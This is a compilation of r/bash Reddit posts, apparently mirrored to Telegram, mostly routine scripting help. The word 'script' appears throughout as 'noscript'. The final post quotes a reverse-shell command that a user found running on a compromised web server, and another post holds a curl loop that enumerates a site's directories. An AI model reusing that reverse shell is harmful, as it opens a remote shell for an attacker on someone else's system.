r_bash – Telegram
why shall IFS be set to "\n\b" and not just "\n" to work with space containing filenames ?

Hi all,

I don't get why simply setting IFS to "\\n" doesn't work .

let's say I have 2 files in the current directory named "big banana" and "huge apple" and "small orange"

$ IFS=$( echo -ne "\n" )

for i in $(ls *);

do echo "file: $i";

done

It doesn't work, the output is :


file: big banana

huge apple

small orange

instead of

file: big banana

file: huge apple

file: small orange



As a matter of fact it works if IFS is set the following way:

$ IFS=$( echo -ne "\n\b" )

Does someone know why \\b is also needed in IFS definition?

Thanks for your help

https://redd.it/1byha3q
@r_bash
Why won't it log ps -p?

read -r -p "Enter process name: " cpid
apid=$(pgrep "$cpid")
ps -p "$apid"
read -r -p "Log process yes/no " log
if [ $log == "yes" ]
then
ps -p "$apid" >> pslog.txt # this is where it fails

This is what I get when I run the noscript:

https://preview.redd.it/vpxc65zn9btc1.png?width=444&format=png&auto=webp&s=d7602ecad132d3ee980f6462a0c72b25f86a4d62

https://redd.it/1bz7mvy
@r_bash
How can I improve this recursive noscript?

**tl:dr; Need to handle git submodule recursion, so I wrote this. How can it be better?**

if [ -f ".gitmodules" ]; then # continue...

submodules=($(grep -oP '"\K[^"\047]+(?=["\047])' .gitmodules))

if [ "$1" == "--TAIL" ]; then
"${@:2}" # execute!
fi

for sm in "${submodules[@]}"; do
pushd "$sm" > /dev/null

if [ "$1" == "--TAIL" ] && [ ! -f ".gitmodules" ]; then
"${@:2}" # execute!
fi

if [ -f ".gitmodules" ]; then # recurse!
cp ../"${BASH_SOURCE[0]}" .
source "${BASH_SOURCE[0]}"
rm "${BASH_SOURCE[0]}"
fi

if [ "$1" == "--HEAD" ] && [ ! -f ".gitmodules" ]; then
"${@:2}" # execute!
fi

popd > /dev/null
done

if [ "$1" == "--HEAD" ]; then
"${@:2}" # execute!
fi

fi

The main reasons for this are the coupled use of git-submodules and the maven, where the we have one-overall-project aka the ROOT and it has NESTED submodules, while each submodule is a different maven module in the pom.xml file. This means we need to commit from the deepest edges before their parent-modules, while checking out should be done inversely.

*Yes, I know the 'submodule foreach' mechanism exists*, but it seems to use tail-recursion which does not work for what I'm trying to, though admittedly in a lot of cases it is sufficient.

**If anyone can offer up a better way than the noscript copying/removing itself, I'd be ecstatic!**

​

https://redd.it/1bz6lb9
@r_bash
jq with variable containing a space, dash or dot

I have a json file that contains:

{
"disk_compatbility_info": {
"WD_BLACK SN770 500GB": {
"731030WD": {
"compatibility_interval": [{
"compatibility": "support",
}
]
}
}
},
"WD40PURX-64GVNY0": {
"80.00A80": {
"compatibility_interval": [{
"compatibility": "support",
}
]
}
}
},
}

If I quote the elements and keys that have spaces, dashes or dots, it works:

jq -r '.disk_compatbility_info."WD_BLACK SN770 500GB"' /<path>/<json-file>
jq -r '.disk_compatbility_info."WD40PURX-64GVNY0"."80.00A80"' /<path>/<json-file>

But I can't get it work with the elements and/or keys as variables. I either get "null" or an error. Here's what I've tried so far:

hdmodel="WD_BLACK SN770 500GB"
#jq -r '.disk_compatbility_info."$hdmodel"' /<path>/<json-file>
#jq --arg hdmodel "$hdmodel" -r '.disk_compatbility_info."$hdmodel"' /<path>/<json-file>
#jq -r --arg hdmodel "$hdmodel" '.disk_compatbility_info."$hdmodel"' /<path>/<json-file>
#jq -r --arg hdmodel "$hdmodel" '.disk_compatbility_info."${hdmodel}"' /<path>/<json-file>
#jq -r --arg hdmodel "${hdmodel}" '.disk_compatbility_info."$hdmodel"' /<path>/<json-file>
#jq -r --arg hdmodel "${hdmodel}" '.disk_compatbility_info.$hdmodel' /<path>/<json-file>
jq -r --arg hdmodel "$hdmodel" '.disk_compatbility_info.${hdmodel}' /<path>/<json-file>

I clearly have no idea when it comes to jq :) And my google foo is failing at finding an answer.

What am I missing?

https://redd.it/1bzhl55
@r_bash
Help with curl noscript

Hey guys, I have a noscript to list pages directory. The noscript is from a course and when the instructor runs in the video class works fine, but when I try to run on my PC it does't work. The test.txt file has a directory I know exists.

#!/bin/bash

for dir in $(cat test.txt); do
httpCode=$(curl -s -H "User-Agent: Teste" -o /dev/null -w "%{http_code}\n" $1/$dir/)
if [[ $httpCode == "200" ]]; then
echo "Directory found: $1/$dir"
fi
done


The var httpCode never gets 200, but when I run curl line in terminal, works fine. Can someone give me a hand here?


https://redd.it/1bzhilw
@r_bash
learning bash but why?

Hey guys and gals

Im new to the dev world and really new to bash but im just wondering whats the end game? like what is possible with bash can i change networks with a single .sh file, can i build and compile automation... im having a hard time finding anything about the more advanced process involved.
Just a noob looking to see why i should take the bash game to the end or just get the fundamentals and move on. by all means light me up as a noob but please bring some legit convo about it too.

https://redd.it/1c04j4f
@r_bash
How to extract a single string (containing a ) from a longer string

On KDE/Wayland. In a terminal I run:

kscreen-doctor --outputs

I get a long output:

Modes:  0:2560x1440@60!  1:2560x1440@170\
 2:2560x1440@165......

I want to process the output so I just get the result shown in bold (the active setting). I think I should use grep, but not sure how to get it to select just the part of the output with the *. I searched for using grep to recognize a literal "*", but it's extracting just this bit of the output that I can't think how to approach. Any help appreciated.

https://redd.it/1c041ed
@r_bash
Will this work?

I want to parallelize a noscript, which is under a function() in .bashrc, and have the output logged to a text file. Will this work?

parallel noscript Log.txt noscriptname && exit

https://redd.it/1c0bews
@r_bash
trap '... ' ERR not working

I use that:

trap 'echo "ERROR: A command has failed. Exiting the noscript. Line was ($0:$LINENO): $(sed -n "${LINENO}p" "$0")"; exit 3' ERR
set -euo pipefail


This works for most cases.

But in one noscript the noscript terminates on non-zero exit, but I don't see the above message.

What could be the reason for that?

https://redd.it/1c0embh
@r_bash
What is the utility of read in the following noscript, and why we put genes.txt in the end of the loop?
https://redd.it/1c0ngvz
@r_bash
sed and tr not changing whitespace when piped inside a bash noscript

Hey folks, I'm experiencing an odd occurrence where sed seems to be unable to change \s when running inside a bash noscript. My end goal is to create a csv with newlines that I can open up in calc/excel. Here's the code:


# Set the start and end dates for the time period of cost report
start_date=2024-02-01
end_date=2024-03-01

# Create tag-based usage report
usage_report=$(aws ce get-cost-and-usage --time-period Start=$start_date,End=$end_date --granularity MONTHLY --metrics "UnblendedCost" --group-by Type=TAG,Key=Workstream --query 'ResultsByTime[0].Groups')

# # Format the usage and cost report by resource as a table
report_table=$(echo "$usage_report" | jq -r '.[] | [.Keys[], .Metrics.UnblendedCost.Amount] | @csv')
cleaned_report=$(echo "$report_table" | sed -u 's/\\s/\\n/g')
echo $cleaned_report

In this example, $usage_report is:

[ { "Keys": [ "Workstream$blah" ], "Metrics": { "UnblendedCost": { "Amount": "1369.6332285425", "Unit": "USD" } } }, { "Keys": [ "Workstream$teams2" ], "Metrics": { "UnblendedCost": { "Amount": "5.3844278507", "Unit": "USD" } } }, { "Keys": [ "Workstream$team3" ], "Metrics": { "UnblendedCost": { "Amount": "257.3202611246", "Unit": "USD" } } }, { "Keys": [ "Workstream$team1" ], "Metrics": { "UnblendedCost": { "Amount": "23.2939083734", "Unit": "USD" } } } ]

So that's what comes in and is processed by jq, outputting:

"Workstream$blah","1369.6332285425" "Workstream$teams2","5.3844278507" "Workstream$team3","257.3202611246" "Workstream$team1","23.2939083734"

All I want to do with that output now is to replace the whitespaces with newlines, so I do "$report_table" | sed -u 's/\\s/\\n/g', but the end result is the same as the $report_table input. I also tried using cleaned_report=$(echo "$report_table" | tr ' ' '\n'), but that also produced the same result. In contrast, if I output the results of this noscript to a test.csv file, then run sed s/\\s/\\n/g test.csv from the command line, it formats as intended:

"Workstream$blah","1369.6332285425"
"Workstream$teams2","5.3844278507"
"Workstream$team3","257.3202611246"
"Workstream$team1","23.2939083734"

Any guidance is appreciated!

https://redd.it/1c0vy1i
@r_bash
An app for finding locations of text within large directories

I made an app called FindIt that makes it easier to find all occurrences of text within large directories and files.

I mainly made this because it's difficult to find where symbols are defined when decompiling .Net applications, but I'm sure it could be used outside of decompiling apps.

More information can be found in the GitHub repo.

https://github.com/ScripturaOpus/FindIt

https://redd.it/1c113uy
@r_bash
output not redirecting to a file.

/usr/sbin/logrotate /etc/logrotate.conf -d 2>&1 /tmp/log.txt


Creates an empty file while text flies pas the screen. Why?

https://redd.it/1c1h8o6
@r_bash
Quickly find the largest files and folders in a directory + subs

This function will quickly return the largest files and folders in the directory and its subdirectories with the full path to each folder and file.

You just pass the number of results you want returned to the function.

You can get the function on GitHub [here](https://github.com/slyfox1186/noscript-repo/blob/main/Bash/Misc/Functions/big-files.sh).

To return 5 results for files and folders execute:

big_files 5

I saved this in my `.bash_functions` file and love using it to find stuff that is hogging space.

Cheers!

https://redd.it/1c1ioa5
@r_bash
Judge the setup noscript

I need feedback for a setup noscript :

#!/bin/bash
chmod 777 ./src/fbd.sh
sudo pacman -S gum
echo "Setup successful. Execute ./src/fbd.sh to run FBD"

&#x200B;

https://redd.it/1c1odwx
@r_bash
Make the list with size, path and filename

Hello,

find . -type f will show us all files under current directory, how to simple split the path name and filename and add the file sizes in the output for each line

or

du -a . will show all files and directories under current one, how to hide the directories and split the path names and file names in the each line?

thanks

&#x200B;

https://redd.it/1c1pi0i
@r_bash
Judge my code

#!/bin/env bash

# Customize Console
PROMPT_COMMAND='echo -en "\033]0;$(FBD|cut -d "/" -f 4-100)\a"'
now=$(date)
echo "Undertale Jokes, that's all. Mainly. You know, as ya want."

while true
do

#Input
VHS=$(gum input --placeholder " Enter Command")

# Treat Input
case $VHS in

exit | q | esc | bye)
exit
;;
clear | cls)
clear
;;
puns | under)
gum pager < ./src/under.txt
;;
nintendo)
gum pager < ./src/nintendo.txt
;;
help)
gum pager < ./src/cmd.txt
;;
edit | text | txt | file | editor | nano | vim | vi)
$EDITOR $(gum file $FBD)
;;
issue)
echo "Report issue at github.com/FBD/issues"
;;
rules)
gum pager < ./src/rules.txt
;;
time | date)
echo "$now"
;;
duck | goose)
gum pager < ./src/duck.txt
;;
annoy | dog)
gum pager < ./src/dog.txt
;;

*)
echo -n "Command unknown or not implemented yet."
;;
esac
done


I need feedback

https://redd.it/1c1od1h
@r_bash
What this command do?

Hi

I had to deal with some malware on a web server (php, magento, wordpress).

One of the things that are interesting (to me) is this process:

sh -c /bin/sh -i >& /dev/tcp/XXX.XXX.XXX.XXX/587 0>&1

xxx.xxx.xxx.xxx is the IP address

Can anyone explain what this do exactly, and if there's a chance to mitigate if not completely prevent from happening.

Unfortunately I have only one user available for both ssh and web server so I can't do anything with permissions.

Thanks

https://redd.it/1c1yydv
@r_bash